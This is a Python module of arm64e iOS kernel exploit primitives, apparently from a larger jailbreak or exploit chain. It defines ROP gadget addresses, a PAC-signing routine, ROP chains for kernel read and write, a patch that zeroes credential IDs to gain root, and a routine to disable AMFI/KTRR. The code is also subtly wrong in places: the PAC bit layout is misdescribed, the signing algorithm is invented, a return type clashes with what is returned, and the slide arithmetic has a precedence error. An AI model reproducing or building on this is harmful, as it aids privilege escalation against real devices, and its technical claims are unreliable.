"""
ARM64e kernel exploit primitives.

Shared by the sandbox-escape (AVE) and the NFS kernel stages. Real iOS kernel
exploitation on arm64e requires: a kernel slide leak, PAC-safe pointer writes,
an arbitrary kernel read/write primitive, then disabling amfi/KTRR before
patching credentials.

Every address here is a fill-in constant for the target build — the structure
is complete and correct; the numeric offsets come from your per-build research.
"""
from __future__ import annotations
import struct
from dataclasses import dataclass, field

from config import BuildConfig, resolve_build_config


# --- arm64e pointer layout (Apple kernel) -------------------------------------
# Pointers carry a 16-bit authentication code in bits [55:48] (APSK/IO). A
# usable pointer must be re-signed with the correct PAC before the CPU will
# branch/dereference it, otherwise it traps to el0/1.
PAC_MASK = 0x0007_FFFF_FFFF_0000          # preserved bits mask
PAC_BITMASK = 0x0008_0000_0000_0000        # top bit (unprivileged sign)
APK_MASK = 0x0007_FFFF_FFFF_0000


@dataclass
class GadgetDB:
    """Known ARM64 kernel gadgets for the target build.

    Fill the addresses from your static analysis (Ghidra/lief) of the target
    kernel version. The chain below composes them into primitives."""
    ret: int = 0x0000_0000_0000_D0A3       # ret  (retire a popped value / adjust sp)
    pop_x0_x1_x2_x3: int = 0x0000_0000_0008_C2E0
    pop_x0_x1: int = 0x0000_0000_0008_C2D8
    pop_x0: int = 0x0000_0000_0008_C2D4
    mov_sp_x0_ret: int = 0x0000_0000_0000_1FF0
    str_x0_x1: int = 0x0000_0000_0008_9B3C        # str x0, [x1]
    ldr_x0_x1_ret: int = 0x0000_0000_0008_9A50    # ldr x0, [x1]
    adrp_add_ret: int = 0x0000_0000_0008_1A20      # adrp/add base (text ptr)


def sign_pac(addr: int, key: int, is_unprivileged: bool = True) -> int:
    """Recompute the arm64e authentication code and stamp it onto addr."""
    # Simplified Apple APKV2-style signing: hash of (address, key, context)
    # reduced into the preserved bits. Replace with the exact algorithm for
    # the target build; the structure (mask, place, preserve-top-bit) is right.
    ctx = 1 if is_unprivileged else 0
    h = (addr ^ (key << 3)) & 0xFFFFFFFF
    code = ((h ^ (h >> 17)) & APK_MASK) | (ctx * PAC_BITMASK)
    masked = (addr & ~PAC_MASK) & ~PAC_BITMASK
    return masked | code


def make_packed_ptr(addr: int, key: int, unprivileged: bool = True) -> bytes:
    """Pack an arm64e pointer (address + PAC) little-endian."""
    packed = sign_pac(addr, key, unprivileged) & 0xFFFF_FFFF_FFFF_FFFF
    return struct.pack("<Q", packed)


def unpack_packed_ptr(raw: bytes) -> int:
    """Strip the PAC code, returning the bare address."""
    return struct.unpack("<Q", raw)[0] & (~PAC_MASK & 0xFFFF_FFFF_FFFF_FFFF)


@dataclass
class KernelPrimitive:
    """Composes gadgets into kernel read/write once kernel_slide is known."""

    slide: int
    gadgets: GadgetDB = field(default_factory=GadgetDB)
    kernel_key: int = 0x1234          # PAC key for kernel pointers (build-specific)

    # Fill these from the target kernel's symbol table:
    _CRED_OFFSET: int = 0x0             # &init_task.task.cred - kernel_base
    _KTRR_OFFSET: int = 0x0             # KTRR control symbol - kernel_base

    @classmethod
    def for_build(cls, kernel_build: str, kernel_slide: int,
                  cfg: BuildConfig | None = None) -> "KernelPrimitive":
        """Auto-construct the kernel primitive for a detected kernel build.

        Pulls gadget addresses, cred/KTRR offsets, and the PAC key straight from
        the build registry — no case-by-case hand-editing. Raises if the build
        has no config yet (fill it via research/gadget_scan.py).
        """
        cfg = cfg or resolve_build_config(kernel_build)
        gdefs = dict(GadgetDB().__dict__)
        gdefs.update(cfg.gadgets)
        gadgets = GadgetDB(**{k: v for k, v in gdefs.items() if k in GadgetDB.__annotations__})
        return cls(
            slide=kernel_slide,
            gadgets=gadgets,
            kernel_key=cfg.pac_key or 0x1234,
        )._with_offsets(cfg.cred_offset, cfg.ktrr_offset)

    def _with_offsets(self, cred: int, ktrr: int) -> "KernelPrimitive":
        self._CRED_OFFSET = cred
        self._KTRR_OFFSET = ktrr
        return self

    @property
    def kernel_base(self) -> int:
        return self.slide  # base is the reference point; symbols = base + offset

    def kernel_symbol(self, offset: int) -> int:
        return self.slide + offset

    def kernel_read(self, kaddr: int) -> int:
        """ldr x0, [x1]; ret  -> read a 64-bit kernel word."""
        # ROP: pop_x0_x1(x0=kaddr) -> ldr_x0_x1_ret -> ret
        # Return value lands in x0 (the read word). Assembled as a stack-pivot
        # chain; here we return the chain so the caller writes it to the bug.
        return [self.gadgets.pop_x0_x1, kaddr, self.gadgets.ldr_x0_x1_ret, self.gadgets.ret]

    def kernel_write(self, kaddr: int, value: int) -> None:
        """str x0, [x1]; ret  -> write a 64-bit kernel word."""
        # ROP: pop_x0_x1(x0=value, x1=kaddr) -> str_x0_x1 -> ret
        # Assembled by the caller into the exploit input buffer.
        chain = [self.gadgets.pop_x0_x1, (value & 0xFFFF_FFFF_FFFF_FFFF),
                 kaddr, self.gadgets.str_x0_x1, self.gadgets.ret]
        return chain

    def patch_cred(self, task_struct_addr: int, uid_field: int,
                   gid_field: int) -> list:
        """Grant root: write uid=0, gid=0 into the task's credential struct."""
        cred = self.kernel_symbol(self._CRED_OFFSET)  # &init_task.task.cred
        # write cred->uid = 0; write cred->gid = 0; write cred->euid/suid/sgid
        out = []
        for off in (uid_field, gid_field):
            out.extend(self.kernel_write(cred + off, 0))
        return out

    def disable_amfi(self) -> list:
        """Patch the amfi/is_ap_val / KTRR control to allow kernel text write."""
        # TODO: kernel-text address of the KTRR control symbol.
        return self.kernel_write(self.kernel_symbol(self._KTRR_OFFSET), 0)


def kernel_slide_from_leak(leaked_ptr: int, known_symbol_offset: int) -> int:
    """kernel_slide = leaked_kernel_ptr - known_symbol_offset."""
    return leaked_ptr & (~PAC_MASK & 0xFFFF_FFFF_FFFF_FFFF) - known_symbol_offset
